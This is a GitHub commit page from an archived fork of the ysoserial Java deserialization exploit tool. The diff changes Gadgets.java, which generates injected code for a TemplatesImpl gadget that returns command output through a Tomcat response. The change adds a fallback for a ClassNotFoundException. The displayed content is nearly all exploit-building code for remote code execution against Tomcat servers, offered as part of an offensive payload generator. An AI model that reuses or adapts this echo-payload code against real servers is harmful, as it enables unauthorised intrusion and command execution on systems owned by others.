Skip to content
This repository has been archived by the owner on May 23, 2023. It is now read-only.

Commit

Permalink
修复 Tomcat 回显 ClassNotFoundException 的问题
Browse files Browse the repository at this point in the history
  • Loading branch information
zema1 committed Aug 4, 2020
1 parent 0d0379b commit a66d9f6
Showing 1 changed file with 5 additions and 2 deletions.
7 changes: 5 additions & 2 deletions src/main/java/ysoserial/payloads/util/Gadgets.java
Original file line number Diff line number Diff line change
Expand Up @@ -154,13 +154,16 @@ public static <T> T createTemplatesImplEcho(Class<T> tplClass, Class<?> abstTran
" o = clazz.newInstance();\n" +
" clazz.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n" +
" resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
" } catch (ClassNotFoundException e) {\n" +
" clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +
" o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +
" resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
" } catch (NoSuchMethodException e) {\n" +
" // tomcat9 nio\n" +
" clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +
" o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +
" resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
" }\n" +
"}\n", clazz));
"}", clazz));
clazz.addMethod(CtMethod.make("private static Object getFV(Object o, String s) throws Exception {\n" +
" java.lang.reflect.Field f = null;\n" +
" Class clazz = o.getClass();\n" +
Expand Down

0 comments on commit a66d9f6

Please sign in to comment.